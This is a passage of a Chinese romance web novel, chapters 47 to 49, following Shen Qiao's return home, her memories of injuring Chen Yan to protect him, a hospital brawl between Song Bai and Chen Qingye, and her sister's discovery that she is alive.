许莫言在心底仰头长叹时,宋柏已牵着沈荞走下飞机,坐进了车里。 飞机滑离跑道,车子却停在原地迟迟不动,沈荞正觉疑惑,宋柏看着她,轻声开口:“你姐姐今天也回国,飞机一会就到,想见见她吗?” 沈荞浑身一僵,宋柏抬手揉了揉她的头,安抚道:“就隔着车窗见见,她看不到你的。” 沈荞紧绷的身子这才松懈了些,没点头,也没出声,只是转眸看向窗外。 而这模样,显然已是默认了。 宋柏没再多说,只是静静坐着,陪在她身边。 时间一分一秒流逝,沈荞望着窗外,宋柏看着她。不知过了多久,一道轰鸣声滑过天际,一架小型私人飞机稳稳降落在不远处的跑道上。 原本靠在车窗边、耷拉着脑袋的沈荞猛然坐直了身体,黯淡的眼睛里骤然亮起光。 她一瞬不瞬盯着那架飞机,看着它缓缓滑行,缓缓停稳,缓缓打开了舱门。 沈荞的目光死死定在舱门处,而最先走出的身影,让她眼底的光淡了几分。 是保镖。 刚暗下去的眸光,又因一道新的身影亮起,那道身影高大挺拔,穿着休闲,等那人完全走出,露出脸时,沈荞认出了他。 是陈青野。 沈荞屏住呼吸,看着陈青野微微转身,朝舱内伸出手,牵住了一只纤细的手。再迈步时,被他牵在身后的身影也露出了真容。 温婉的眉眼,温柔的笑靥。 是姐姐! 沈荞立刻贴紧车窗,一双眼睛死死锁在远处的身影上,连眨都不敢眨。 身侧的宋柏牵住她垂在身侧的手,轻轻捏了捏,温声问:“要下去见见吗?” 刚才还眸光灼灼的沈荞,这会儿周身瞬间黯淡下来,摇了摇头。 宋柏眼底闪过一丝了然:“那就好好吃药,养好身体,我再带你去见她。” 沈荞微微颔首,刚要应声,视线却骤然顿住,身体再次僵住,望着窗外,呢喃出一个名字:“陈延” 她异样的神情,陌生的语调,陌生的名字,让宋柏也立刻抬眸看向窗外。 只见停机坪上,一男一女相牵的身影正走向车边,而那架私人飞机的舱门处,还站着一道身影,高大却透着几分消瘦的身影。 宋柏再低头,看着沈荞满是怔忡的眼神,眉头一拧。 “陈延是谁?” 第47章 回忆 沈荞非但没有回答宋柏的问题, 还让宋柏送她回她自己的房子,宋柏眸色微沉,刚要开口,她却已转回头, 视线重新投向窗外, 声音平淡:“我累了。” 车子缓缓启动, 远处停机坪上的人也陆续登车。沈荞的目光没有落在日思夜想的姐姐身上。反倒牢牢落在那道消瘦的身影上。 陈延怎么会变成这样? 她离开时, 他还壮得像座山, 只不过才一年,他怎么就瘦成这样? 是因为她吗?是因为她把他从山坡上推下去吗? 他明明只伤了一条腿和头, 而且她也把他托付给了姐姐。姐姐是医生,也答应会好好照顾他。 她只是想让他暂时无法行走, 让他不能跟着她,让他不能掺和那些事里而已, 她没想过要真的伤他。 沈荞看着窗外飞速倒退的风景,一路攥着手,直到车子稳稳停在地库, 她才恍然回神。 不等副驾的许莫言推门, 她自己伸手推开车门,刚踏出脚步, 身侧的宋柏也从另一侧下了车。 沈荞隔着车身看他,眼底满是不解。 她那懵然模样, 又把宋柏气笑了。 向来都是他翻脸不认人,她倒好, 翻起脸来一次次比他还干脆,仿佛昨夜的温存都是假的,钻到他怀里让他抱她的也不是她。 宋柏:“我也回家。” 沈荞刚拧眉, 他已经迈开长腿走去,不由分说攥住她的手,径直把她往电梯方向带。 沈荞拧眉挣扎了一下,没能挣开。进电梯后,眼看着他拿起手机,往电梯旁的感应区一贴,电梯面板上跳出“27”的数字。 27? 她仰头看向宋柏,疑惑更重,甚至忘了刷自己的楼层,就这么被电梯带着往上直接到了27楼。 “噔”一声,电梯平稳停稳,刚打开宋柏就攥着她的手腕,直接将她拽了出去。电梯外是冰冷的入户门,他抬手输了密码,推开门。 门后的空间很大,装修冰冷简洁,如果不是窗外的景色不同,沈荞险些以为自己回到了他在公司对面的大平层。 宋柏也没给她继续打量的时间,反手“砰”一声踢上门,手臂一伸就掐住她的腰,将她抱起同时另一只手扣着她的膝弯,逼她环在自己腰间。 沈荞猝不及防,下意识抬手勾住他的脖子稳住身形,还没等她反应过来,后背就被抵在了冰冷的墙壁上。 后背是墙壁的冰冷,而前胸则贴着他滚烫的胸膛。下一秒,他温热的唇就覆了上来,这一次,他没给她说出“脏”字的机会,也没给她躲避的余地,径直撬开她的唇齿,长驱直入。 下飞机时,他给她准备的是宽松舒适的运动短装,他深吻着她的同时,手掌轻而易举就探进了她的衣摆。掌下的肌肤细腻光滑,和昨夜他一寸寸抚摸时的触感一样。可她,却没了昨夜的乖顺,在他的唇落下、手掌触到她腰腹的瞬间,她勾着他脖子的手猛地向上,攥住他的头发,狠狠拉扯。 不是意乱情迷时的情难自已,而是带着蛮力的抗拒,力道大得几乎要将他的头发扯下来。 头皮传来的痛意逼得宋柏仰头,唇齿也不得不从她唇间撤离。分离的双唇沾着晶莹的水光,气息交织,带着几分狼狈。他低头睨着她,指腹摩挲着她腰间的细肉,声音冰冷:“松手。” 沈荞非但没松,反倒攥得更紧,眼底满是倔强:“放我下来。” 宋柏的眼神沉了沉,没放她,只咬牙道:“你有没有良心?” “我没有。” 沈荞答得干脆,眼底也没半点波澜。 宋柏一哽,定定看了她几秒,冷不丁开口:“这半个月,你按时吃药了吗?” 这话让沈荞愣了一瞬,随即她面不红心不跳:“吃了。” “既然不是发病,那就是真没良心。” 宋柏的声音又冷了下去,带着几分愠怒。 在外执掌庞大商业帝国的宋柏,向来杀伐果断,此时此刻,却在自家入户门前,和沈荞争执这种没意义又幼稚的问题。而他显然没打算就此作罢,盯着她的眼睛追问:“用到我的时候,就温声细语,好好说话;用不到我了,就翻脸不认人,把我抛到一边,是吗?” “我翻什么脸了?”沈荞反驳,“我答应过你什么?” 宋柏一愣,沈荞的脸色忽然软了下来,眼底浮起一层难以掩饰的疲惫,连声音都放轻了:“宋柏,放我下来,我真的好累。” 宋柏眉头一紧,攥着她腰的手不自觉松了松,将她轻轻放下,语气也跟着放柔:“哪不舒服?” “我想一个人待会儿。” 沈荞摇摇头,往后退了半步。 宋柏沉默片刻,抬腕看了眼手表:“飞机上没吃什么东西。何婶快到了,先吃晚饭。” 沈荞并不饿,但也没再坚持。 她也没 问宋柏这房子到底是怎么回事,而是直接绕过熟悉的家具,走到落地窗前。 窗外夕阳正好,金色的余辉洒在对面老旧的矮层小区间。沈荞站得高,能清楚看到小区里来来往往的人,也能一眼找到姐姐的家。 她之前暗中跟踪姐姐时,不止一次跟着姐姐回到这里。 小区里,不光住着姐姐,还有姐姐的老师和师兄师姐。她见过姐姐噙着笑,一路和邻里亲切打招呼;见过姐姐和陈青野十指相扣,并肩走进楼道;也见过姐姐出门遛狗,对着小狗又抱又亲,满眼温柔。 没有她的日子,姐姐的生活过得温馨又安稳。 沈荞本来没想破坏这份平静,更没想过贸然出现。 可偏偏有人不让她如愿。 那个人,就是傅英的亲爹。 她跟踪完姐姐回到闻城,居然在赌场里从老板的嘴里听到了陈青野和姐姐的名字,还听到赌场老板派人去京城对姐姐下手。 她二话没说,揪住赌场老板就揍了一顿,对方哭着求着饶坦白,这是她干爹的意思。 而她的干爹,就是傅英的亲爹。 她不明白傅英的亲爹为什么要伤害姐姐,还没等她问,对方先打来了电话。 跟着傅英的几年,她见到傅英亲爹的次数屈指可数,他从来不会主动找她。可这一次,他破天荒联系她,既不是为了傅英,也不是为了姐姐,而是为了陈延。 他说,陈延是他们找了好几年的卧底叛徒,还知道她近半年一直和陈延在一起,命令她把陈延带到云南边境。 他不仅要伤害姐姐,还要对陈延下手。 挂了电话,沈荞当即做了决定,她要弄死傅英的亲爹。 她跟着傅英去过他的藏身地,知道那里的地底下藏着大量弹药。她要去炸了那里,炸死他,哪怕同归于尽,也不能让他伤害姐姐和陈延。 于是她编了借口,把陈延哄到了云南,却没带去傅英亲爹指定的边境,而是去了姐姐正在参加义诊的深山里。 趁陈延不注意时,她把他从山坡上推了下去,看着他摔断腿、磕伤头,才给他打了安定,然后求救。 果然,赶来的是姐姐义诊队的医生。她也终于见到了姐姐。 她看着姐姐细心给陈延处理伤口,看着姐姐蹲在她面前温声询问满眼关切,她甚至换上了姐姐的衣服,躺在了姐姐的床上。 姐姐的床很香,也很温暖。她本想把陈延托付给姐姐就出发,可实在贪恋这份温暖,便多留了一天。 也就是这一天,被她打了安定的陈延迟迟不醒惹来了怀疑。就眼看她们要怀疑到她头上,她也弄晕了姐姐。 她把姐姐带到了一个隐蔽的地方,告诉姐姐,她是她妹妹,在如愿抱了姐姐后,她又把陈延托付给了姐姐,随后她踏上了去炸死傅英亲爹的路。 而她,也没打算会活着回来。 只是,刚走出没多久,她就看到傅英。 瓢盘大雨下,傅英浑身湿漉看着她。 她以为自己看错了,还没等她再看。她就晕过去了,再醒来,就是在去往哥伦比亚的飞机上。 她一心想逃离傅英,想回国,除了想姐姐,也是想确认姐姐和陈延的安全。 结果就是,姐姐出国了找不到了,陈延电话也打不通了。 姐姐身边有陈青野,她虽然不喜欢陈青野,但也知道,他会好好保护姐姐。 可陈延,她始终不知道他的情况。 她想着,他应该是换了号码,换了一个地方继续好好生活了吧。可是,再见到他,他居然是这副模样。 沈荞望着窗外出神,望着天边的漫天夕阳渐渐沉落,直到黑夜彻底笼罩下来。 腰间忽然一紧,后背贴上一片温热,沈荞回眸,见宋柏站在身后,双臂环着她,低声道:“吃饭了。” 她转身,才发现宋柏身后的餐桌旁,何婶正端着一碟菜,对着她温和地笑。 何婶什么时候来的?她一点都没察觉。 宋柏松开揽着她腰的手,转而牵住她的手往餐桌走去。沈荞落座后,何婶按捺住激动,笑着喊了声:“沈小姐。” 桌上摆的全是沈荞爱吃的菜,一看就是何婶特意准备的。她安静吃完,刚放下筷子,熟悉的药盒就被推到了眼前。沈荞二话不说,拿起药片就着温水吞下,随后抬头:“我可以走了吗?” 走? 正过来收碗碟的何婶闻言,脸上的笑意瞬间僵住,有些无措地看着两人。 宋柏却淡然起身:“我送你下去。” 送? 不过是楼上楼下,隔了一层楼板,刷个电梯卡的事。 沈荞没多说,也没拒绝,带着他往电梯走去。进了电梯,她才发觉自己没带电梯卡,手机也不在身上。 “我的手机呢。” 宋柏从兜里掏出手机递给她。 沈荞接过手机的时候,指尖触亮了手机屏幕。 屏幕上满是未接电话,沈荞也没多看。直接用手机刷了梯控,电梯面板上跳出“26”。 从27楼到26楼不过转瞬,几乎电梯指示灯刚亮起就停稳了。沈荞下了电梯,宋柏也跟着走了出来。她抬手刷指纹锁时,宋柏倚在门边:“不请我进去坐坐?” 话音未落,门锁“咔哒”一声开了。沈荞站在门边沉默看着他,宋柏却径直拉开门,大步流星走了进去。 屋子里灯火明亮,装修温馨,处处都是精致的小细节。而宋柏恰好去过麦德林她和傅英住的的别墅,所以一进门就认出这是谁的手笔,他面色不改,像闲逛般在屋里转了一圈,从客厅走到主卧,又从主卧转回客厅,甚至还进了客厅旁的客卫。 沈荞全程站在门边看着他,直到他走回自己面前,递过来一张电梯卡:“睡不着,上来找我。” 说完,他低头在她额上印下一个轻吻,便径直出了门,走进了电梯。看着电梯门缓缓关闭,沈荞毫不犹豫关上了门。 偌大的房子里,只剩沈荞一人,没有他没有何婶,房子外,也没了保镖。沈荞真正意义上,独自一人。 还没等她享受着独自的宁静,手中电话突兀响起。沈荞垂眸看,是新加坡家办的电话。沈荞接起。 “沈小姐,您还好吗?需要我们再派一支安保过去吗?” 沈荞:“不用了。” 她当初要安保,只是想离开,并不是因为担心自己的安全。而且,再多安保,也挡不住他。 说完,不等对方再说话,沈荞挂了电话。 挂完电话,沈荞走进主卧,关掉了主灯,只留下床头一盏暖黄的小灯,然后走到窗边坐下。窗边铺着柔软的地毯,上面还放着一个望远镜。 她拿起望远镜,很快就找到了目标。 黑夜下的窗户,窗帘紧闭,只透出微弱的暖光,隐约能看到两道相拥的身影。看着那相拥的身影,沈荞牵了牵嘴角,放下望远镜,拿起手机解锁,打开拨号页面,按下了一串烂熟于心的号码。 指尖悬在拨出键上,久久没有落下。不知过了多久,她终于按下通话键。这一年来,她拨过无数次这个号码,始终提示关机,可这一次,电话居然通了,而且很快就被接起。 “喂……” 不过一个字,声音却熟悉。 “哪位?” 手机那头又传来一声,带着几分沙哑。 沈荞攥紧了手机,没说一个字,直接挂断了电话。 同一时间,直线距离不过几百米的房子里,陈延看着手机上突然挂断的通话页面,眉头正 紧紧蹙起,一碗飘着苦涩药味的中药被放到他面前,他抬头,一张温和的笑脸正对着他。 “该吃药了。” 陈延点头,说了句谢谢后端起碗一口闷下,随后转身走到了阳台。 阳台上,身形高大的陈青野正蹲着摆弄花草,脚边的小狗乖乖趴着,见他过来,小狗立刻起身用毛茸茸的头拱了拱他的腿。 陈延蹲下身,摸了摸小狗的头,脸上却没什么笑意。陈青野注意到了,问:“怎么了?” “刚有人给我打电话,没说话就挂了。” 陈青野握着浇花壶的手一顿,皱起眉。陈延又道:“这号码我已经停用一年了,知道的人,只有你和……” “曹薇!” 陈青野沉声接话,语气凝重。 “把号码给我。” 陈延沉着脸,点了点头。 与此同时,对面灯光明亮的高层大平层里,也有人正沉着脸。 “去查,那个陈延是谁?” 立在一侧的许莫言跨前一步,踌躇两秒回:“老板,我知道是谁。” 坐在沙发上的男人回头,眼神犀利,许莫言垂头,避开眼神道:“老板,您还记得,小宋总之前让我们派人去缅甸带一个人吗?” 宋柏不仅记得,更知道,他派出去的人,压根就没有找到人。人到地方的时候,已经人去楼空了。 许莫言递出手中的平板。 “那个人,就是陈延。” 下飞机后,许莫言就坐在副驾。自然也听到了沈荞的那句“陈延”,也随之看到了站在舱门边的身影。虽然许莫言只看过照片,而远处的人也消瘦了很多,但许莫言还是一眼就认出来了。 宋柏接过平板,许莫言继续道:“这个陈延,和陈青野陈总,是同一个村的,是发小。大学考的是公安大学,但不知道什么原因退学了,之后就一直无所事事,没一个正经职业。” 许莫言斟酌着用词,才没把混混两个字说出口。而宋柏,一目三行,很快把资料看完了。 穷出身,没学历,没工作。 这就是陈延。 都不如他身边的保镖,更别提和傅英亦或者他相比了。 可这就是这么一个人,让她失了神。 第48章 混乱 这一夜, 许多人失了眠,包括沈荞。 即便吃了药,她依旧一夜未眠。挂断陈延的电话后,她的手就控制不住地发抖, 没一会儿又冲进卫生间, 扶着马桶吐了一场。吐完后, 她虚弱靠在马桶边, 大口喘着气。 不适感来得突然又强烈, 可她没有打电话给宋柏,也没有上楼去找他, 只是蜷回床上,把自己缩成一团, 睁着眼熬到了天亮。 天刚亮不久,大门便被轻轻叩响。沈荞此时手已经不再发抖, 心脏却莫名发紧。 她捂住心口,下床走到卧室走到门边,打开了门禁屏显。 门外站着的是何婶, 手里端着一个托盘。 沈荞开口, 门后的何婶笑着抬眼:“沈小姐,先生去公司了, 让我来……” 话到一半,看清沈荞苍白的脸色的何婶, 顿住声音,神色一慌。 “沈小姐, 你怎么了?” 沈荞轻轻摇了摇头,说了句“没事”,又问:“你怎么下来的?” 何婶答道:“先生给了我电梯卡。” 沈荞毫不意外。他能在卡塔赫纳支走陆阳带领的保镖队, 自然也能从他们手里拿到她这一层的电梯卡。 “何婶,我没胃口,你回去吧。” 说完,不等何婶再说什么,她就当着何婶的面,合上了大门。 厚重的门刚一关上,沈荞再也撑不住,紧紧揪住心口,缓缓蹲在了地上。额前的碎发垂落下来,遮住了她苍白的脸,只有微微颤抖的肩膀,暴露着她此刻的难受。 而门外,端着托盘的何婶看着紧闭的门,眉头紧紧皱起,脸上满是担忧。她站在原地思来想去,终究还是放心不下,拿出手机,拨通了宋柏的电话。 电话响起时,宋柏刚到公司。总助赵骞刚把需要签字的文件摆在他面前,手机便震动起来。 宋柏瞥了一眼来电显示,对赵骞做了个噤声的手势,接起了电话。 “怎么了?” 他接电话时还算冷静,可随着听筒里的话语,他的眉头越皱越紧。挂了电话,他放下手中的笔,看都没看桌上的文件一眼,径直起身。 立在一侧的赵骞看看桌上的文件,再看看他离去的背影,识趣没有出声,也没有任何多余的动作。 反倒是秘书何静,在宋柏走出总裁办公室的那一刻,连忙快步上前拦住了他的去路,语气恭敬:“老板,灵蜂的陈总来了,没有提前预约,但是他态度很强硬,坚持要立刻见您,您看……” “不见。” 宋柏脚步未停,语调冰冷。 快步穿过宽敞明亮的走廊,刚走到拐角处,宋柏就看见一道高大挺拔的身影被他的保镖拦在了电梯口之外。 宋柏沉着脸走近,只是淡淡扫了保镖一眼,保镖便立刻心领神会,默默收回了阻拦的手,退到了两侧。 宋柏将视线重新落向面前的人身上,神色平淡,语气疏离:“陈总,什么时候回的国?这么早专程来找我,是有什么要紧事?” 陈青野抬眸,目光沉沉看着他:“我需要和宋总单独聊聊。” 宋柏抬手按下电梯:“不好意思,陈总,我最近很忙,你可以和我的秘书先预约时间。” 话落,电梯门打开,宋柏带着保镖大步迈进电梯。直到电梯缓缓关闭,他都没有再看电梯外的人一眼。 冰冷的电梯口,只剩下陈青野和秘书何静两人。 何静保持着职业的标准微笑,上前一步:“陈总,您需要我帮您预约下次见面的时间吗?您和我们宋总要洽谈的具体事宜是……” 何静的话还没有说完,陈青野伸出手,也按下了电梯按钮。 另一侧电梯门打开,他侧过头,对何静淡淡说了一句:“谢谢,不用了。” 说完,他便径直迈步走进了电梯。 电梯门缓缓关闭,刚才还维持着表面平静的陈青野,脸色瞬间冷了下来,他拿出手机,快速拨通一个号码:“他下楼了,车应该很快就会出地库,你先跟上去,把位置共享发给我。” 另一边,宋柏已经到了地下车库。他拿出手机拨号,一遍没人接,再打一遍,依旧无人接听。 他换了一个号码:“拿到她家门的密码。” “拿不到密码,你今天就可以辞职了。” 冰冷的话语落下,车厢内瞬间陷入死寂。副驾的保镖竖起耳朵听着通话内容,丝毫没有察觉,他们的车驶出地库后,一辆车正悄悄跟了上来。 早高峰拥堵,即便司机开得再快,从高楼林立的金融中心到老城区,也用了近一个小时。 车刚驶进地库停稳,后座的宋柏便推门下了车,大步流星往电梯走去。 刷卡上楼,电梯很快抵达26层。门一开,本该宽敞的入户门外,站满了人。 宋柏走出电梯,守在门边的许莫言立刻上前:“老板,密码拿到了,但沈小姐在里面把门反锁了。” 许莫言话音落下,角落里的何婶紧张搓着手,声音带着哭腔:“我敲了好几次门,沈小姐都没应,她脸色那么差,会不会晕倒在里面了?” 这话一出,所有人都屏住呼吸,齐齐看向宋柏,气氛瞬间紧绷。 “老板,需要破门吗?” 许莫言低声请示。 宋柏沉默几秒,点了头。 得到示意,许莫言向一旁的保镖使了个眼色。保镖刚把黑色工具箱放在地上,还没打开,紧闭的大门便“咔嗒”一声从里面打开了。 “你们在干什么?” 一道微弱却清晰的声音响起,门外众人齐齐看了过去。 门内的沈荞穿着睡衣,面色惨白,双唇毫无血色,唇角还沾着未干的水渍。 宋柏上前一步,堵在门口的保镖立刻让开。他站到门边,垂眸看着沈荞:“哪里不舒服?” 沈荞说不清具体哪里不舒服,她就是难受。她刚又在卫生间吐了一场,漱完口走出主卧想喝杯温水,就听见了门外的动静。 她没有说话,宋柏直接攥住了她的手腕。 “去医院。” 这一年,沈荞早已记不清自己去过多少趟医院,做过多少次检查,抽过多少管血。 她下意 识抗拒,想说自己没事,可还是被他强行带上了车。 坐在车上,沈荞没有看窗外的风景,只是定定盯着身侧的男人。看了许久,她忽然开口:“我们是不是八字不合?” 宋柏愣了一下:“你说什么?” “八字不合。”沈荞重复道,“电视上都这么演,八字不合的人呆在一起,就会有人倒霉。” 宋柏怔了许久才回过神,随即冷笑一声:“看来也没有很不舒服,还有心思想这些。真要说倒霉,我觉得我才是倒霉的那一个。” 沈荞皱起眉,刚要开口,嘴被他轻轻捏住。 “不想被我赶下车,就别说话。” “还有,以后少和何婶看那些乱七八糟的电视剧。” 沈荞想反驳,说那是她自己看的,不是和何婶一起看的。可他根本不给她开口的机会。 而这段小插曲,反倒让沈荞的精神好了一些。到了医院,她也有精神回答医生的问题。 医生问她症状,她也如实说:“手抖、恶心反胃,还有……心脏疼。” 听到前两个症状时,宋柏还没在意,可听到“心脏疼”三个字,他立刻皱紧了眉。 他冷眼看向医生,医生敲着电脑道:“我们会马上安排给您做全面检查。” 全面检查意味着至少要住一晚院,沈荞有些抗拒,可宋柏根本不容她拒绝。 宋柏去和医生沟通,沈荞则被护士带去病房换衣服。她脱下睡衣,拿着病号服的护士一眼便看到了她颈侧和锁骨上面的清晰牙印。 护士眼中闪过讶异,张了张嘴想说什么,最终还是什么都没说。 做了大半天检查,一夜没睡的沈荞回到病房,就沉沉睡下了,而宋柏,站在了医生办公室。 “宋总,从检查来看,沈小姐的心脏并没有问题。” 宋柏:“那她为什么心脏疼?” 站在宋柏面前的医生收起报告没说话,电话另一头的另一个医生开了口:“宋总,这也是我想和您沟通的。沈小姐最近有按时吃药吗?” * 宋柏从医生办公室出来时,天色已经彻底暗了下来。他刚往前走了两步,走廊尽头有两道身形相当的男人,并肩朝他快步走来。 看清来人,宋柏微微蹙起眉头,身旁的保镖立刻上前一步,摆出戒备姿态。 宋柏抬手摆了摆,示意保镖退后。保镖刚应声退到两侧,两道身影走到了他面前。 “陈总……” 宋柏刚开口,衣领便被一只手狠狠揪住。他还没来得及做出任何反应,一记重拳便直直砸在了他的脸上。 一切发生得太过快,不仅宋柏没有反应过来,连一旁的保镖都愣了愣。 等保镖反应过来要上前阻拦,身形有些消瘦的身影跨前一步,稳稳挡在保镖面前。 而宋柏在短暂的怔愣后,也回过神。他抬手扣住揪着他衣领的手腕,狠狠一拧,紧接着抬腿就是一记凌厉的膝顶,出手快准狠,没有半分拖泥带水。 原本安静的医院走廊瞬间陷入一片混乱,闻声从办公室出来的医生和护士看到扭打在一起的人,吓得赶紧拿出手机慌张呼叫保安。 而一片混乱中,保镖被看似清瘦、实则身手矫健的身影死死缠住,根本抽不开身呼叫援兵。 至于宋柏,看似养尊处优、出身优渥,可有那么一个好大哥,他自然也精通格斗搏击,而不是什么手无缚鸡之力的贵公子。而和他缠斗的陈青野,出身底层,一路靠自己打拼至今,之前还在工地做过两年工,身手同样强悍,丝毫不落下风。 两人拳来脚往,打得难解难分,很快彼此的脸上、身上都挨了对方数拳,直到保安和增援的保镖匆匆赶到,这场激烈的混乱才被强行制止。 而制止后的局势毫无悬念偏向宋柏。 陈青野被一众保镖牢牢按在墙上,双臂被反剪在身后,动弹不得。至于本和保镖缠斗在一起的消瘦身影,直接被摁在了地上。 宋柏站在原地,嘴角渗着血丝,指关节红肿发烫,浑身各处都传来钝痛。他冷眼看着被摁在墙上仍在拼命挣扎的人,浑身气压低得吓人。 而被死死按住的陈青野沉着脸,冷眼看向宋柏:“宋柏,你就是个畜牲!” 畜牲? 在商场这么多年,比这恶毒百倍的话宋柏都听过,他从来不会把这些话放在心上。可敢动手打他,就是另外一回事了。 宋柏喘着粗气,目光扫过陈青野,又落在被按在地上的人身上,唇角勾起一抹冰冷的笑意。他刚要开口,口袋里的手机忽然震动。 他掏出手机,屏幕上跳动的名字,不出所料是他那位好弟弟。 宋柏接起电话的瞬间,心底戾气翻涌,可电话那头的一句话,又瞬间将他的戾气硬生生压了下去。 “二哥,你为什么要藏着人?你对她都做了什么?” 听完这句话,宋柏面无表情直接挂断了电话。 挂完电话后,他朝摁着陈青野的保镖勾了勾手指,保镖立刻心领神会,将陈青野半押着带到他面前。 宋柏看着眼前狼狈又愤怒的人,低笑一声后毫不留情挥拳,再次狠狠砸在他脸上。这一拳力道极重,让陈青野嘴角瞬间涌出鲜血。宋柏这才挥了挥手,示意保镖松开。 保镖面露犹豫,显然有些不放心。 “松开。” 宋柏的语气冷硬且强势。 保镖只得依言松手。 被松开的陈青野踉跄着站稳,抬手狠狠抹掉嘴角的血迹,死死盯着宋柏。 宋柏淡淡开口,语气莫名:“她说得没错,还真是八字不合。” 这句没头没尾的话,让陈青野愣了一瞬。 宋柏抬眼,扯了扯染着血痕的唇角,与他对视,目光锐利。 “所以,你是为了曹薇?” 陈青野紧抿着唇,没有说话。 宋柏:“可是,在我这里,她不叫曹薇。” “她叫沈荞。” 第49章 哄人 刚回国, 沈蒲蘅时差还没倒过来,清晨才勉强入睡,再醒时,窗外已经沉进黄昏。身边空无一人, 整间屋子安安静静。她拨出电话, 无人接听。 正想再打, 师姐的电话先一步进来。 “师妹, 妹夫跟人打起来了, 就在我医院,你赶紧过来一趟。” 沈蒲蘅学的是中医, 大学时拜在外公老友门下,教授亲传弟子不多, 却都在业内的大医院任职。给她打电话的师姐,就在京城顶尖的私立医院。 沈蒲蘅换好衣服, 开车赶去医院。路上她又给她师姐回了一个电话,师姐才把前因后果说得更清楚。 “妹夫今天突然打电话给我,问我一个病人的情况。病人是VIP部的, 我权限有限, 查不到太多,就找护士打听了几句, 简单跟他说了下。结果他直接来了医院,还跟人动了手。对方……好像是我们医院的股东, 姓宋。” 听到“姓宋”两个字,沈蒲蘅眉心微蹙。随即又问:“病人?什么病人?” “叫沈荞, 一个才二十岁的小姑娘。师妹,这名字……跟你同姓,是你家亲戚吗?” …… 挂了师姐的电话, 沈蒲蘅一边开车,一边反复打给陈青野。直到车子停进医院停车场,电话才终于接通,很快她也找到地方。 推开空旷的医生办公室,两个鼻青脸肿的男人正对立而坐,听见推门声,两人齐齐朝门口看来。 一向温和的沈蒲蘅,此刻脸色冷得吓人,进门没给任何人好脸色。她也没有去看自己老公的伤,而是问:“陈延呢?” 嘴角肿 着的陈青野抬眼,沈蒲蘅已经走到他面前。 “陈青野,我问你,陈延呢?” 连名带姓,语气冰冷。陈青野不用看她表情,也知道她是生气了。 “在隔壁,医生在给他处理伤口。” 沈蒲蘅深吸两口气:“他才刚恢复。你告诉我,到底是什么事,能让你冒着他伤口裂开的风险,带着他一起,像个小孩子一样动手打架。又或者……” 她转过身,看向另一侧同样狼狈的男人:“宋总,你来告诉我。” 前几个月在洛杉矶见面时还温温柔柔的人,此刻满脸冷意。而冷着脸的沈蒲蘅,也让宋柏晃神。 她冷着脸,和沈荞更像了。 宋柏多看了她两眼。 就是这两眼,让刚坐下的陈青野又站了起来。 陈青野眼神犀利,拳头刚攥紧,就被沈蒲蘅转头扫来的一道冷眼,硬生生逼了回去。 陈青野压下再动手的冲动,重新坐回椅子上。 沈蒲蘅目光在两人之间转了一圈,缓缓开口: “沈荞是谁?” 这话一出,办公室里的两个男人同时一僵。 而问完话的沈蒲蘅,眼角余光恰好扫过医生办公桌上的一份检查报告。 她没细看,目光重新落回两个沉默不语的人身上,最终定格在陈青野脸上。 “陈青野,我问你,沈荞是谁。你不说,我自己去查。一个病房号,我还能查到。” 她语气听似平静,心脏却在胸腔里狂跳。 二十岁,姓沈,能让陈青野和陈延都不顾一切动手…… 她不傻,来的路上,心里已经有了猜测。 而有了猜测后,她握着方向盘的手,一路都在发抖。 陈青野抬眼,目光却能没看向她,而是转向对面的宋柏。 “这个问题,你该问宋总。” 沈蒲蘅缓缓转头,指尖微微攥紧:“宋总,可以给我一个答案吗?” 事到如今,再装糊涂已经没有意义。 况且,选择避而不见的,本就不是他。 宋柏淡淡开口:“沈荞,就是曹薇。” 一句话落下,一直强撑着镇定的沈蒲蘅,肩膀骤然一松,身形晃了晃。陈青野眼疾手快,伸手将她稳稳扶住,顺势搂进怀里。 真的是她。 沈蒲蘅靠在他怀里,眼泪瞬间涌了出来,又哭又笑,语无伦次。 “陈青野,是薇薇……她还活着……她在哪?我要去见她,你带我去见她……” “好,一会儿就带你去。” 陈青野轻轻拍着她的背。 看着相拥的两人,宋柏忽然轻笑一声。 这声笑,让沈蒲蘅瞬间止住眼泪,也让陈青野冷厉的目光再次射向他。 宋柏靠在椅背上,语气漫不经心,却字字扎心:“你们想见她,有问过,她想不想见你们吗?” * 吊瓶里加了安定成分,熬了一整夜没合眼的沈荞,打着吊瓶一觉从黄昏直接沉沉睡到了天光大亮。 睡醒,意识刚从混沌里抽出来,她睁眼就看见了坐在病床边的人,还有他那张青一块紫一块、明显狼狈的脸。本还困顿的沈荞瞬间清醒,猛地从床上坐起身,脸色一下子阴了下来。 “谁干的?是不是又是那个人?” 她没有明指,但宋柏知道她说的是宋莫。 宋柏摇了摇头。 沈荞拔高了声音追问:“那是谁干的!” 宋柏看着她,眼底带着几分审视与玩味:“怎么,想替我报仇?” 沈荞没有回答,可紧抿成一条直线的嘴唇,已经充分表明了她的态度。宋柏刚要弯起嘴角笑一笑,就听见她冷不丁开口。 “废物。” 宋柏愣了一下,以为自己听错了,又确认了一遍:“你说什么?” 沈荞抬眼,语气冷漠:“我说你,还有许莫言,都是废物。” 一句话,成功把宋柏给气笑了。 而一直守在病房门口、把对话听得一清二楚的许莫言,整个人直接懵在原地。 他怎么就成废物了? 如果不是老板吩咐,让他守在病房,他早就一拳一个解决掉了。 许莫言心里又闷又憋屈,宋柏却是懒得跟沈荞计较。 “检查报告出来了,身体没有大问题,可以出院。但出院之前,你老实回答我一个问题。” 宋柏的目光落在她身上,带着压迫感:“你这半个月,有没有好好吃药。” 沈荞一哽,不用说话,眼底已经自然而然透出了藏不住的心虚。 宋柏淡淡开口,语气平静却带着威胁:“你再不老实吃药,我就把你送到你姐姐面前。” 沈荞眼睛一瞪:“你敢。” 宋柏看着她,缓缓问:“就这么不想见到你姐姐……” 沈荞沉默了很久,硬生生转开话题:“能出院了吗?” 宋柏:“衣服在卫生间里,先去换衣服。” 沈荞下床走进卫生间,门刚关上,宋柏就从口袋里掏出手机,将一直保持在通话界面的屏幕,轻轻贴到了耳边。 “沈医生,听清楚了吗?” * 沈荞从医院出来,心里就清楚,自己接下来一定会被人盯着一日三餐按时吃药。可她没想到,不止要吃西药,她还要喝味道极苦的中药,方子是专门请来的老中医给她开的。 她刚回到住处,何婶就带着老中医一起进了门。 在卡塔赫纳那段日子,她逼着自己去适应人群,早已不再抗拒见生人。何况老中医长得慈眉善目,看向她的眼神温和又亲切,就像长辈对晚辈。再加上姐姐就是学中医,沈荞对中医天然有亲近感。 “没什么大事,喝几副中药调理一下就好了,但是一定要坚持,知道吗?” 沈荞乖顺点了点头。 